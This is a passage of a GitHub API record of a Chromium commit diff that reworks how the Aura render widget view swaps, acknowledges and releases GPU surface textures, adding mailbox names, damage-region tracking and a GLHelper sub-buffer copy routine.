// If protection state changed, then this swap is stale. We must still ACK but\n- // do not update current_surface_ since it may have been discarded.\n- if (params_in_pixel.protection_state_id &&\n- params_in_pixel.protection_state_id != protection_state_id_) {\n- DCHECK(!current_surface_);\n- if (!params_in_pixel.skip_ack)\n- InsertSyncPointAndACK(params_in_pixel.route_id, gpu_host_id, false, NULL);\n- return;\n+bool RenderWidgetHostViewAura::SwapBuffersPrepare(\n+ const gfx::Rect& surface_rect,\n+ const gfx::Rect& damage_rect,\n+ BufferPresentedParams* params) {\n+ DCHECK(params->surface_handle);\n+ DCHECK(!params->texture_to_produce);\n+\n+ if (last_swapped_surface_size_ != surface_rect.size()) {\n+ // The surface could have shrunk since we skipped an update, in which\n+ // case we can expect a full update.\n+ DLOG_IF(ERROR, damage_rect != surface_rect) << \"Expected full damage rect\";\n+ skipped_damage_.setEmpty();\n+ last_swapped_surface_size_ = surface_rect.size();\n }\n \n- if (ShouldFastACK(params_in_pixel.surface_handle)) {\n- if (!params_in_pixel.skip_ack)\n- InsertSyncPointAndACK(params_in_pixel.route_id, gpu_host_id, false, NULL);\n- return;\n+ if (ShouldSkipFrame(surface_rect.size())) {\n+ skipped_damage_.op(RectToSkIRect(damage_rect), SkRegion::kUnion_Op);\n+ InsertSyncPointAndACK(*params);\n+ return false;\n }\n \n- current_surface_ = params_in_pixel.surface_handle;\n- // If we don't require an ACK that means the content is not a fresh updated\n- // new frame, rather we are just resetting our handle to some old content\n- // that we still hadn't discarded. Although we could display immediately,\n- // by not resetting the compositor lock here, we give us some time to get\n- // a fresh frame which means fewer content flashes.\n- if (!params_in_pixel.skip_ack)\n- released_front_lock_ = NULL;\n+ DCHECK(!current_surface_ || image_transport_clients_.find(current_surface_) !=\n+ image_transport_clients_.end());\n+ if (current_surface_)\n+ params->texture_to_produce = image_transport_clients_[current_surface_];\n+\n+ std::swap(current_surface_, params->surface_handle);\n \n+ DCHECK(image_transport_clients_.find(current_surface_) !=\n+ image_transport_clients_.end());\n+\n+ image_transport_clients_[current_surface_]->Consume(surface_rect.size());\n+ released_front_lock_ = NULL;\n UpdateExternalTexture();\n \n+ return true;\n+}\n+\n+void RenderWidgetHostViewAura::SwapBuffersCompleted(\n+ const BufferPresentedParams& params) {\n ui::Compositor* compositor = GetCompositor();\n if (!compositor) {\n- if (!params_in_pixel.skip_ack)\n- InsertSyncPointAndACK(params_in_pixel.route_id, gpu_host_id, true, NULL);\n+ InsertSyncPointAndACK(params);\n } else {\n- DCHECK(image_transport_clients_.find(params_in_pixel.surface_handle) !=\n- image_transport_clients_.end());\n- gfx::Size surface_size_in_pixel =\n- image_transport_clients_[params_in_pixel.surface_handle]->size();\n- gfx::Size surface_size = ConvertSizeToDIP(this, surface_size_in_pixel);\n- window_->SchedulePaintInRect(gfx::Rect(surface_size));\n+ // Add sending an ACK to the list of things to do OnCompositingDidCommit\n+ can_lock_compositor_ = NO_PENDING_COMMIT;\n+ on_compositing_did_commit_callbacks_.push_back(\n+ base::Bind(&RenderWidgetHostViewAura::InsertSyncPointAndACK, params));\n+ if (!compositor->HasObserver(this))\n+ compositor->AddObserver(this);\n+ }\n+}\n \n- if (!params_in_pixel.skip_ack) {\n- // Add sending an ACK to the list of things to do OnCompositingDidCommit\n- can_lock_compositor_ = NO_PENDING_COMMIT;\n- on_compositing_did_commit_callbacks_.push_back(\n- base::Bind(&RenderWidgetHostViewAura::InsertSyncPointAndACK,\n- params_in_pixel.route_id,\n- gpu_host_id,\n- true));\n- if (!compositor->HasObserver(this))\n- compositor->AddObserver(this);\n- }\n+void RenderWidgetHostViewAura::AcceleratedSurfaceBuffersSwapped(\n+ const GpuHostMsg_AcceleratedSurfaceBuffersSwapped_Params& params_in_pixel,\n+ int gpu_host_id) {\n+ const gfx::Rect surface_rect = gfx::Rect(gfx::Point(), params_in_pixel.size);\n+ BufferPresentedParams ack_params(\n+ params_in_pixel.route_id, gpu_host_id, params_in_pixel.surface_handle);\n+ if (!SwapBuffersPrepare(surface_rect, surface_rect, &ack_params))\n+ return;\n+\n+ previous_damage_.setRect(RectToSkIRect(surface_rect));\n+ skipped_damage_.setEmpty();\n+\n+ ui::Compositor* compositor = GetCompositor();\n+ if (compositor) {\n+ gfx::Size surface_size = ConvertSizeToDIP(this, params_in_pixel.size);\n+ window_->SchedulePaintInRect(gfx::Rect(surface_size));\n }\n+\n+ SwapBuffersCompleted(ack_params);\n }\n \n void RenderWidgetHostViewAura::AcceleratedSurfacePostSubBuffer(\n const GpuHostMsg_AcceleratedSurfacePostSubBuffer_Params& params_in_pixel,\n int gpu_host_id) {\n- surface_route_id_ = params_in_pixel.route_id;\n- // If visible state changed, then this PSB is stale. We must still ACK but\n- // do not update current_surface_.\n- if (params_in_pixel.protection_state_id &&\n- params_in_pixel.protection_state_id != protection_state_id_) {\n- DCHECK(!current_surface_);\n- InsertSyncPointAndACK(params_in_pixel.route_id, gpu_host_id, false, NULL);\n+ const gfx::Rect surface_rect =\n+ gfx::Rect(gfx::Point(), params_in_pixel.surface_size);\n+ gfx::Rect damage_rect(params_in_pixel.x,\n+ params_in_pixel.y,\n+ params_in_pixel.width,\n+ params_in_pixel.height);\n+ BufferPresentedParams ack_params(\n+ params_in_pixel.route_id, gpu_host_id, params_in_pixel.surface_handle);\n+ if (!SwapBuffersPrepare(surface_rect, damage_rect, &ack_params))\n return;\n- }\n \n- if (ShouldFastACK(params_in_pixel.surface_handle)) {\n- InsertSyncPointAndACK(params_in_pixel.route_id, gpu_host_id, false, NULL);\n- return;\n+ SkRegion damage(RectToSkIRect(damage_rect));\n+ if (!skipped_damage_.isEmpty()) {\n+ damage.op(skipped_damage_, SkRegion::kUnion_Op);\n+ skipped_damage_.setEmpty();\n }\n \n- current_surface_ = params_in_pixel.surface_handle;\n- released_front_lock_ = NULL;\n- DCHECK(current_surface_);\n- UpdateExternalTexture();\n+ DCHECK(surface_rect.Contains(SkIRectToRect(damage.getBounds())));\n+ ui::Texture* current_texture = image_transport_clients_[current_surface_];\n \n- ui::Compositor* compositor = GetCompositor();\n- if (!compositor) {\n- InsertSyncPointAndACK(params_in_pixel.route_id, gpu_host_id, true, NULL);\n- } else {\n- DCHECK(image_transport_clients_.find(params_in_pixel.surface_handle) !=\n- image_transport_clients_.end());\n- gfx::Size surface_size_in_pixel =\n- image_transport_clients_[params_in_pixel.surface_handle]->size();\n+ const gfx::Size surface_size_in_pixel = params_in_pixel.surface_size;\n+ DLOG_IF(ERROR, ack_params.texture_to_produce &&\n+ ack_params.texture_to_produce->size() != current_texture->size() &&\n+ SkIRectToRect(damage.getBounds()) != surface_rect) <<\n+ \"Expected full damage rect after size change\";\n+ if (ack_params.texture_to_produce && !previous_damage_.isEmpty() &&\n+ ack_params.texture_to_produce->size() == current_texture->size()) {\n+ ImageTransportFactory* factory = ImageTransportFactory::GetInstance();\n+ GLHelper* gl_helper = factory->GetGLHelper();\n+ gl_helper->CopySubBufferDamage(\n+ current_texture->PrepareTexture(),\n+ ack_params.texture_to_produce->PrepareTexture(),\n+ damage,\n+ previous_damage_);\n+ }\n+ previous_damage_ = damage;\n \n+ ui::Compositor* compositor = GetCompositor();\n+ if (compositor) {\n // Co-ordinates come in OpenGL co-ordinate space.\n // We need to convert to layer space.\n gfx::Rect rect_to_paint = ConvertRectToDIP(this, gfx::Rect(\n params_in_pixel.x,\n surface_size_in_pixel.height() - params_in_pixel.y -\n- params_in_pixel.height,\n+ params_in_pixel.height,\n params_in_pixel.width,\n params_in_pixel.height));\n \n@@ -949,17 +957,9 @@ void RenderWidgetHostViewAura::AcceleratedSurfacePostSubBuffer(\n rect_to_paint.Intersect(window_->bounds());\n \n window_->SchedulePaintInRect(rect_to_paint);\n-\n- // Add sending an ACK to the list of things to do OnCompositingDidCommit\n- can_lock_compositor_ = NO_PENDING_COMMIT;\n- on_compositing_did_commit_callbacks_.push_back(\n- base::Bind(&RenderWidgetHostViewAura::InsertSyncPointAndACK,\n- params_in_pixel.route_id,\n- gpu_host_id,\n- true));\n- if (!compositor->HasObserver(this))\n- compositor->AddObserver(this);\n }\n+\n+ SwapBuffersCompleted(ack_params);\n }\n \n void RenderWidgetHostViewAura::AcceleratedSurfaceSuspend() {\n@@ -978,60 +978,45 @@ bool RenderWidgetHostViewAura::HasAcceleratedSurface(\n void RenderWidgetHostViewAura::AcceleratedSurfaceNew(\n int32 width_in_pixel,\n int32 height_in_pixel,\n- uint64 surface_handle) {\n+ uint64 surface_handle,\n+ const std::string& mailbox_name) {\n ImageTransportFactory* factory = ImageTransportFactory::GetInstance();\n scoped_refptr<ui::Texture> surface(factory->CreateTransportClient(\n gfx::Size(width_in_pixel, height_in_pixel), device_scale_factor_,\n- surface_handle));\n+ mailbox_name));\n if (!surface) {\n LOG(ERROR) << \"Failed to create ImageTransport texture\";\n return;\n }\n-\n image_transport_clients_[surface_handle] = surface;\n }\n \n-void RenderWidgetHostViewAura::AcceleratedSurfaceRelease(\n- uint64 surface_handle) {\n- DCHECK(image_transport_clients_.find(surface_handle) !=\n- image_transport_clients_.end());\n- if (current_surface_ == surface_handle) {\n+void RenderWidgetHostViewAura::AcceleratedSurfaceRelease() {\n+ // This really tells us to release the frontbuffer.\n+ if (current_surface_ && ShouldReleaseFrontSurface()) {\n+ ui::Compositor* compositor = GetCompositor();\n+ if (compositor) {\n+ // We need to wait for a commit to clear to guarantee that all we\n+ // will not issue any more GL referencing the previous surface.\n+ can_lock_compositor_ = NO_PENDING_COMMIT;\n+ scoped_refptr<ui::Texture> surface_ref =\n+ image_transport_clients_[current_surface_];\n+ on_compositing_did_commit_callbacks_.push_back(\n+ base::Bind(&RenderWidgetHostViewAura::\n+ SetSurfaceNotInUseByCompositor,\n+ AsWeakPtr(),\n+ surface_ref));\n+ if (!compositor->HasObserver(this))\n+ compositor->AddObserver(this);\n+ }\n+ image_transport_clients_.erase(current_surface_);\n current_surface_ = 0;\n UpdateExternalTexture();\n }\n- image_transport_clients_.erase(surface_handle);\n }\n \n-void RenderWidgetHostViewAura::SetSurfaceNotInUseByCompositor(ui::Compositor*) {\n- if (current_surface_ || !host_->is_hidden())\n- return;\n- current_surface_in_use_by_compositor_ = false;\n- AdjustSurfaceProtection();\n-}\n-\n-void RenderWidgetHostViewAura::AdjustSurfaceProtection() {\n- // If the current surface is non null, it is protected.\n- // If we are visible, it is protected.\n- // Otherwise, change to not proctected once done thumbnailing and compositing.\n- bool surface_is_protected =\n- current_surface_ ||\n- !host_->is_hidden() ||\n- (current_surface_is_protected_ &&\n- (pending_thumbnail_tasks_ > 0 ||\n- current_surface_in_use_by_compositor_));\n- if (current_surface_is_protected_ == surface_is_protected)\n- return;\n- current_surface_is_protected_ = surface_is_protected;\n- ++protection_state_id_;\n-\n- if (!surface_route_id_ || !shared_surface_handle_.parent_gpu_process_id)\n- return;\n-\n- RenderWidgetHostImpl::SendFrontSurfaceIsProtected(\n- surface_is_protected,\n- protection_state_id_,\n- surface_route_id_,\n- shared_surface_handle_.parent_gpu_process_id);\n+void RenderWidgetHostViewAura::SetSurfaceNotInUseByCompositor(\n+ scoped_refptr<ui::Texture>) {\n }\n \n void RenderWidgetHostViewAura::CopyFromCompositingSurfaceFinished(\n@@ -1043,7 +1028,6 @@ void RenderWidgetHostViewAura::CopyFromCompositingSurfaceFinished(\n if (!render_widget_host_view.get())\n return;\n --render_widget_host_view->pending_thumbnail_tasks_;\n- render_widget_host_view->AdjustSurfaceProtection();\n }\n \n void RenderWidgetHostViewAura::SetBackground(const SkBitmap& background) {\n@@ -1763,7 +1747,7 @@ void RenderWidgetHostViewAura::OnCompositingDidCommit(\n if ((*it)->GrabDeferredLock())\n can_lock_compositor_ = YES_DID_LOCK;\n }\n- RunCompositingDidCommitCallbacks(compositor);\n+ RunCompositingDidCommitCallbacks();\n locks_pending_commit_.clear();\n }\n \n@@ -1794,10 +1778,6 @@ void RenderWidgetHostViewAura::OnCompositingLockStateChanged(\n void RenderWidgetHostViewAura::OnLostResources() {\n image_transport_clients_.clear();\n current_surface_ = 0;\n- protection_state_id_ = 0;\n- current_surface_is_protected_ = true;\n- current_surface_in_use_by_compositor_ = true;\n- surface_route_id_ = 0;\n UpdateExternalTexture();\n locks_pending_commit_.clear();\n \n@@ -1939,30 +1919,28 @@ bool RenderWidgetHostViewAura::ShouldMoveToCenter() {\n global_mouse_position_.y() > rect.bottom() - border_y;\n }\n \n-void RenderWidgetHostViewAura::RunCompositingDidCommitCallbacks(\n- ui::Compositor* compositor) {\n- for (std::vector< base::Callback<void(ui::Compositor*)> >::const_iterator\n+void RenderWidgetHostViewAura::RunCompositingDidCommitCallbacks() {\n+ for (std::vector<base::Closure>::const_iterator\n it = on_compositing_did_commit_callbacks_.begin();\n it != on_compositing_did_commit_callbacks_.end(); ++it) {\n- it->Run(compositor);\n+ it->Run();\n }\n on_compositing_did_commit_callbacks_.clear();\n }\n \n // static\n void RenderWidgetHostViewAura::InsertSyncPointAndACK(\n- int32 route_id, int gpu_host_id, bool presented,\n- ui::Compositor* compositor) {\n+ const BufferPresentedParams& params) {\n uint32 sync_point = 0;\n- // If we have no compositor, so we must still send the ACK. A zero\n- // sync point will not be waited for in the GPU process.\n- if (compositor) {\n- ImageTransportFactory* factory = ImageTransportFactory::GetInstance();\n- sync_point = factory->InsertSyncPoint();\n+ // If we produced a texture, we have to synchronize with the consumer of\n+ // that texture.\n+ if (params.texture_to_produce) {\n+ params.texture_to_produce->Produce();\n+ sync_point = ImageTransportFactory::GetInstance()->InsertSyncPoint();\n }\n \n RenderWidgetHostImpl::AcknowledgeBufferPresent(\n- route_id, gpu_host_id, presented, sync_point);\n+ params.route_id, params.gpu_host_id, params.surface_handle, sync_point);\n }\n \n void RenderWidgetHostViewAura::AddingToRootWindow() {\n@@ -1979,7 +1957,7 @@ void RenderWidgetHostViewAura::RemovingFromRootWindow() {\n // frame though, because we will reissue a new frame right away without that\n // composited data.\n ui::Compositor* compositor = GetCompositor();\n- RunCompositingDidCommitCallbacks(compositor);\n+ RunCompositingDidCommitCallbacks();\n locks_pending_commit_.clear();\n if (compositor && compositor->HasObserver(this))\n compositor->RemoveObserver(this);"}<_**next**_>{"sha": "9a6fd26cb8518a9424ee9f21acfdf04cb10af73f", "filename": "content/browser/renderer_host/render_widget_host_view_aura.h", "status": "modified", "additions": 44, "deletions": 34, "changes": 78, "blob_url": "https://github.com/chromium/chromium/blob/18d67244984a574ba2dd8779faabc0e3e34f4b76/content/browser/renderer_host/render_widget_host_view_aura.h", "raw_url": "https://github.com/chromium/chromium/raw/18d67244984a574ba2dd8779faabc0e3e34f4b76/content/browser/renderer_host/render_widget_host_view_aura.h", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/content/browser/renderer_host/render_widget_host_view_aura.h?ref=18d67244984a574ba2dd8779faabc0e3e34f4b76", "patch": "@@ -12,13 +12,16 @@\n #include \"base/gtest_prod_util.h\"\n #include \"base/memory/linked_ptr.h\"\n #include \"base/memory/ref_counted.h\"\n+#include \"base/memory/scoped_ptr.h\"\n #include \"base/memory/weak_ptr.h\"\n #include \"content/browser/renderer_host/image_transport_factory.h\"\n #include \"content/browser/renderer_host/render_widget_host_view_base.h\"\n #include \"content/common/content_export.h\"\n+#include \"third_party/skia/include/core/SkRegion.h\"\n #include \"ui/aura/client/activation_delegate.h\"\n #include \"ui/aura/window_delegate.h\"\n #include \"ui/base/ime/text_input_client.h\"\n+#include \"ui/compositor/compositor.h\"\n #include \"ui/compositor/compositor_observer.h\"\n #include \"ui/gfx/display_observer.h\"\n #include \"ui/gfx/rect.h\"\n@@ -121,11 +124,11 @@ class RenderWidgetHostViewAura\n int gpu_host_id) OVERRIDE;\n virtual void AcceleratedSurfaceSuspend() OVERRIDE;\n virtual bool HasAcceleratedSurface(const gfx::Size& desired_size) OVERRIDE;\n- virtual void AcceleratedSurfaceNew(\n- int32 width_in_pixel,\n- int32 height_in_pixel,\n- uint64 surface_id) OVERRIDE;\n- virtual void AcceleratedSurfaceRelease(uint64 surface_id) OVERRIDE;\n+ virtual void AcceleratedSurfaceNew(int32 width_in_pixel,\n+ int32 height_in_pixel,\n+ uint64 surface_id,\n+ const std::string& mailbox_name) OVERRIDE;\n+ virtual void AcceleratedSurfaceRelease() OVERRIDE;\n virtual void GetScreenInfo(WebKit::WebScreenInfo* results) OVERRIDE;\n virtual gfx::Rect GetBoundsInRootWindow() OVERRIDE;\n virtual void ProcessAckedTouchEvent(\n@@ -231,7 +234,7 @@ class RenderWidgetHostViewAura\n virtual ~RenderWidgetHostViewAura();\n \n void UpdateCursorIfOverSelf();\n- bool ShouldFastACK(uint64 surface_id);\n+ bool ShouldSkipFrame(const gfx::Size& size);\n void UpdateExternalTexture();\n ui::InputMethod* GetInputMethod() const;\n \n@@ -255,30 +258,33 @@ class RenderWidgetHostViewAura\n bool ShouldMoveToCenter();\n \n // Run the compositing callbacks.\n- void RunCompositingDidCommitCallbacks(ui::Compositor* compositor);\n+ void RunCompositingDidCommitCallbacks();\n+\n+ struct BufferPresentedParams {\n+ BufferPresentedParams(int route_id,\n+ int gpu_host_id,\n+ uint64 surface_handle);\n+ ~BufferPresentedParams();\n+\n+ int32 route_id;\n+ int gpu_host_id;\n+ uint64 surface_handle;\n+ scoped_refptr<ui::Texture> texture_to_produce;\n+ };\n \n // Insert a sync point into the compositor's command stream and acknowledge\n // that we have presented the accelerated surface buffer.\n- static void InsertSyncPointAndACK(int32 route_id,\n- int gpu_host_id,\n- bool presented,\n- ui::Compositor* compositor);\n+ static void InsertSyncPointAndACK(const BufferPresentedParams& params);\n \n // Called when window_ gets added to a new window tree.\n void AddingToRootWindow();\n \n // Called when window_ is removed from the window tree.\n void RemovingFromRootWindow();\n \n- // After clearing |current_surface_|, and waiting for the compositor to finish\n- // using it, call this to inform the gpu process.\n- void SetSurfaceNotInUseByCompositor(ui::Compositor* compositor);\n-\n- // This is called every time |current_surface_| usage changes (by thumbnailer,\n- // compositor draws, and tab visibility). Every time usage of current surface\n- // changes between \"may be used\" and \"certain to not be used\" by the ui, we\n- // inform the gpu process.\n- void AdjustSurfaceProtection();\n+ // Called after commit for the last reference to the texture going away\n+ // after it was released as the frontbuffer.\n+ void SetSurfaceNotInUseByCompositor(scoped_refptr<ui::Texture>);\n \n // Called after async thumbnailer task completes. Used to call\n // AdjustSurfaceProtection.\n@@ -295,6 +301,12 @@ class RenderWidgetHostViewAura\n // Converts |rect| from window coordinate to screen coordinate.\n gfx::Rect ConvertRectToScreen(const gfx::Rect& rect);\n \n+ bool SwapBuffersPrepare(const gfx::Rect& surface_rect,\n+ const gfx::Rect& damage_rect,\n+ BufferPresentedParams* params);\n+\n+ void SwapBuffersCompleted(const BufferPresentedParams& params);\n+\n // The model object.\n RenderWidgetHostImpl* host_;\n \n@@ -347,27 +359,25 @@ class RenderWidgetHostViewAura\n // The scale factor of the display the renderer is currently on.\n float device_scale_factor_;\n \n- std::vector< base::Callback<void(ui::Compositor*)> >\n- on_compositing_did_commit_callbacks_;\n+ std::vector<base::Closure> on_compositing_did_commit_callbacks_;\n \n- std::map<uint64, scoped_refptr<ui::Texture> >\n- image_transport_clients_;\n+ std::map<uint64, scoped_refptr<ui::Texture> > image_transport_clients_;\n \n+ // The identifier of the current frontbuffer.\n uint64 current_surface_;\n \n- // Protected means that the |current_surface_| may be in use by ui and cannot\n- // be safely discarded. Things to consider are thumbnailer, compositor draw,\n- // and tab visibility.\n- bool current_surface_is_protected_;\n- bool current_surface_in_use_by_compositor_;\n+ // The damage in the previously presented buffer.\n+ SkRegion previous_damage_;\n \n- int pending_thumbnail_tasks_;\n+ // Pending damage from previous frames that we skipped.\n+ SkRegion skipped_damage_;\n \n- // This id increments every time surface_is_protected changes. We tag IPC\n- // messages which rely on protection state with this id to stay in sync.\n- uint32 protection_state_id_;\n+ // The size of the last frame that was swapped (even if we skipped it).\n+ // Used to determine when the skipped_damage_ needs to be reset due to\n+ // size changes between front- and backbuffer.\n+ gfx::Size last_swapped_surface_size_;\n \n- int32 surface_route_id_;\n+ int pending_thumbnail_tasks_;\n \n gfx::GLSurfaceHandle shared_surface_handle_;\n "}<_**next**_>{"sha": "06edd70880a8816f2472a1bff5abae27c4463e44", "filename": "content/browser/renderer_host/render_widget_host_view_gtk.cc", "status": "modified", "additions": 2, "deletions": 2, "changes": 4, "blob_url": "https://github.com/chromium/chromium/blob/18d67244984a574ba2dd8779faabc0e3e34f4b76/content/browser/renderer_host/render_widget_host_view_gtk.cc", "raw_url": "https://github.com/chromium/chromium/raw/18d67244984a574ba2dd8779faabc0e3e34f4b76/content/browser/renderer_host/render_widget_host_view_gtk.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/content/browser/renderer_host/render_widget_host_view_gtk.cc?ref=18d67244984a574ba2dd8779faabc0e3e34f4b76", "patch": "@@ -1057,14 +1057,14 @@ void RenderWidgetHostViewGtk::AcceleratedSurfaceBuffersSwapped(\n const GpuHostMsg_AcceleratedSurfaceBuffersSwapped_Params& params,\n int gpu_host_id) {\n RenderWidgetHostImpl::AcknowledgeBufferPresent(\n- params.route_id, gpu_host_id, true, 0);\n+ params.route_id, gpu_host_id, params.surface_handle, 0);\n }\n \n void RenderWidgetHostViewGtk::AcceleratedSurfacePostSubBuffer(\n const GpuHostMsg_AcceleratedSurfacePostSubBuffer_Params& params,\n int gpu_host_id) {\n RenderWidgetHostImpl::AcknowledgeBufferPresent(\n- params.route_id, gpu_host_id, true, 0);\n+ params.route_id, gpu_host_id, params.surface_handle, 0);\n }\n \n void RenderWidgetHostViewGtk::AcceleratedSurfaceSuspend() {"}<_**next**_>{"sha": "fcad0fe0b7f894d002ded241282f0c50e9fa850f", "filename": "content/browser/renderer_host/render_widget_host_view_guest.cc", "status": "modified", "additions": 5, "deletions": 3, "changes": 8, "blob_url": "https://github.com/chromium/chromium/blob/18d67244984a574ba2dd8779faabc0e3e34f4b76/content/browser/renderer_host/render_widget_host_view_guest.cc", "raw_url": "https://github.com/chromium/chromium/raw/18d67244984a574ba2dd8779faabc0e3e34f4b76/content/browser/renderer_host/render_widget_host_view_guest.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/content/browser/renderer_host/render_widget_host_view_guest.cc?ref=18d67244984a574ba2dd8779faabc0e3e34f4b76", "patch": "@@ -201,9 +201,11 @@ void RenderWidgetHostViewGuest::CopyFromCompositingSurface(\n NOTIMPLEMENTED();\n }\n \n-void RenderWidgetHostViewGuest::AcceleratedSurfaceNew(int32 width_in_pixel,\n- int32 height_in_pixel,\n- uint64 surface_handle) {\n+void RenderWidgetHostViewGuest::AcceleratedSurfaceNew(\n+ int32 width_in_pixel,\n+ int32 height_in_pixel,\n+ uint64 surface_handle,\n+ const std::string& mailbox_name) {\n NOTIMPLEMENTED();\n }\n "}<_**next**_>{"sha": "b2b00882a3b07d03bf6e9b655ff470f8fda7be98", "filename": "content/browser/renderer_host/render_widget_host_view_guest.h", "status": "modified", "additions": 2, "deletions": 1, "changes": 3, "blob_url": "https://github.com/chromium/chromium/blob/18d67244984a574ba2dd8779faabc0e3e34f4b76/content/browser/renderer_host/render_widget_host_view_guest.h", "raw_url": "https://github.com/chromium/chromium/raw/18d67244984a574ba2dd8779faabc0e3e34f4b76/content/browser/renderer_host/render_widget_host_view_guest.h", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/content/browser/renderer_host/render_widget_host_view_guest.h?ref=18d67244984a574ba2dd8779faabc0e3e34f4b76", "patch": "@@ -104,7 +104,8 @@ class CONTENT_EXPORT RenderWidgetHostViewGuest\n virtual bool HasAcceleratedSurface(const gfx::Size& desired_size) OVERRIDE;\n virtual void AcceleratedSurfaceNew(int32 width_in_pixel,\n int32 height_in_pixel,\n- uint64 surface_id) OVERRIDE;\n+ uint64 surface_id,\n+ const std::string& mailbox_name) OVERRIDE;\n virtual void SetHasHorizontalScrollbar(\n bool has_horizontal_scrollbar) OVERRIDE;\n virtual void SetScrollOffsetPinning("}<_**next**_>{"sha": "724884b8dac50d8a7a6cfd3995adf953bcce0495", "filename": "content/browser/renderer_host/render_widget_host_view_mac.mm", "status": "modified", "additions": 1, "deletions": 1, "changes": 2, "blob_url": "https://github.com/chromium/chromium/blob/18d67244984a574ba2dd8779faabc0e3e34f4b76/content/browser/renderer_host/render_widget_host_view_mac.mm", "raw_url": "https://github.com/chromium/chromium/raw/18d67244984a574ba2dd8779faabc0e3e34f4b76/content/browser/renderer_host/render_widget_host_view_mac.mm", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/content/browser/renderer_host/render_widget_host_view_mac.mm?ref=18d67244984a574ba2dd8779faabc0e3e34f4b76", "patch": "@@ -1088,7 +1088,7 @@ void DisablePasswordInput() {\n RenderWidgetHostImpl::AcknowledgeBufferPresent(\n pending_swap_buffers_acks_.front().first,\n pending_swap_buffers_acks_.front().second,\n- true,\n+ 0,\n 0);\n if (render_widget_host_) {\n render_widget_host_->AcknowledgeSwapBuffersToRenderer();"}<_**next**_>{"sha": "d65f897cb884e7d19f4ffc3875baff0e498f3950", "filename": "content/browser/renderer_host/test_render_view_host.h", "status": "modified", "additions": 0, "deletions": 6, "changes": 6, "blob_url": "https://github.com/chromium/chromium/blob/18d67244984a574ba2dd8779faabc0e3e34f4b76/content/browser/renderer_host/test_render_view_host.h", "raw_url": "https://github.com/chromium/chromium/raw/18d67244984a574ba2dd8779faabc0e3e34f4b76/content/browser/renderer_host/test_render_view_host.h", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/content/browser/renderer_host/test_render_view_host.h?ref=18d67244984a574ba2dd8779faabc0e3e34f4b76", "patch": "@@ -167,12 +167,6 @@ class TestRenderWidgetHostView : public RenderWidgetHostViewBase {\n virtual void SetScrollOffsetPinning(\n bool is_pinned_to_left, bool is_pinned_to_right) OVERRIDE { }\n \n-#if defined(USE_AURA)\n- virtual void AcceleratedSurfaceNew(\n- int32 width, int32 height, uint64 surface_id) OVERRIDE { }\n- virtual void AcceleratedSurfaceRelease(uint64 surface_id) OVERRIDE { }\n-#endif\n-\n #if defined(TOOLKIT_GTK)\n virtual void CreatePluginContainer(gfx::PluginWindowHandle id) OVERRIDE { }\n virtual void DestroyPluginContainer(gfx::PluginWindowHandle id) OVERRIDE { }"}<_**next**_>{"sha": "88436958b06bbfedbb99b6e342643e00666af9b2", "filename": "content/common/gpu/client/gl_helper.cc", "status": "modified", "additions": 27, "deletions": 0, "changes": 27, "blob_url": "https://github.com/chromium/chromium/blob/18d67244984a574ba2dd8779faabc0e3e34f4b76/content/common/gpu/client/gl_helper.cc", "raw_url": "https://github.com/chromium/chromium/raw/18d67244984a574ba2dd8779faabc0e3e34f4b76/content/common/gpu/client/gl_helper.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/content/common/gpu/client/gl_helper.cc?ref=18d67244984a574ba2dd8779faabc0e3e34f4b76", "patch": "@@ -17,6 +17,7 @@\n #include \"base/threading/thread_restrictions.h\"\n #include \"third_party/WebKit/Source/WebKit/chromium/public/platform/WebCString.h\"\n #include \"third_party/WebKit/Source/WebKit/chromium/public/platform/WebString.h\"\n+#include \"third_party/skia/include/core/SkRegion.h\"\n #include \"ui/gfx/rect.h\"\n #include \"ui/gfx/size.h\"\n #include \"ui/gl/gl_bindings.h\"\n@@ -791,4 +792,30 @@ void GLHelper::InitCopyTextToImpl() {\n \n }\n \n+void GLHelper::CopySubBufferDamage(WebKit::WebGLId texture,\n+ WebKit::WebGLId previous_texture,\n+ const SkRegion& new_damage,\n+ const SkRegion& old_damage) {\n+ SkRegion region(old_damage);\n+ if (region.op(new_damage, SkRegion::kDifference_Op)) {\n+ ScopedFramebuffer dst_framebuffer(context_, context_->createFramebuffer());\n+ ScopedFramebufferBinder<GL_FRAMEBUFFER> framebuffer_binder(\n+ context_, dst_framebuffer);\n+ ScopedTextureBinder<GL_TEXTURE_2D> texture_binder(context_, texture);\n+ context_->framebufferTexture2D(GL_FRAMEBUFFER,\n+ GL_COLOR_ATTACHMENT0,\n+ GL_TEXTURE_2D,\n+ previous_texture,\n+ 0);\n+ for (SkRegion::Iterator it(region); !it.done(); it.next()) {\n+ const SkIRect& rect = it.rect();\n+ context_->copyTexSubImage2D(GL_TEXTURE_2D, 0,\n+ rect.x(), rect.y(),\n+ rect.x(), rect.y(),\n+ rect.width(), rect.height());\n+ }\n+ context_->flush();\n+ }\n+}\n+\n } // namespace content"}<_**next**_>{"sha": "c7f161bb3a215ca7ef400b8bd0620e5d79adefa3", "filename": "content/common/gpu/client/gl_helper.h", "status": "modified", "additions": 8, "deletions": 0, "changes": 8, "blob_url": "https://github.com/chromium/chromium/blob/18d67244984a574ba2dd8779faabc0e3e34f4b76/content/common/gpu/client/gl_helper.h", "raw_url": "https://github.com/chromium/chromium/raw/18d67244984a574ba2dd8779faabc0e3e34f4b76/content/common/gpu/client/gl_helper.h", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/content/common/gpu/client/gl_helper.h?ref=18d67244984a574ba2dd8779faabc0e3e34f4b76", "patch": "@@ -16,6 +16,8 @@ class Rect;\n class Size;\n }\n \n+class SkRegion;\n+\n namespace content {\n \n // Provides higher level operations on top of the WebKit::WebGraphicsContext3D\n@@ -66,6 +68,12 @@ class GLHelper {\n WebKit::WebGLId CompileShaderFromSource(const WebKit::WGC3Dchar* source,\n WebKit::WGC3Denum type);\n \n+ // Copies all pixels from |previous_texture| into |texture| that are\n+ // inside the region covered by |old_damage| but not part of |new_damage|.\n+ void CopySubBufferDamage(WebKit::WebGLId texture,\n+ WebKit::WebGLId previous_texture,\n+ const SkRegion& new_damage,\n+ const SkRegion& old_damage);\n private:\n class CopyTextureToImpl;\n "}<_**next**_>{"sha": "f82c0bf3df24531daf7690e088d7abb4bf2358a4", "filename": 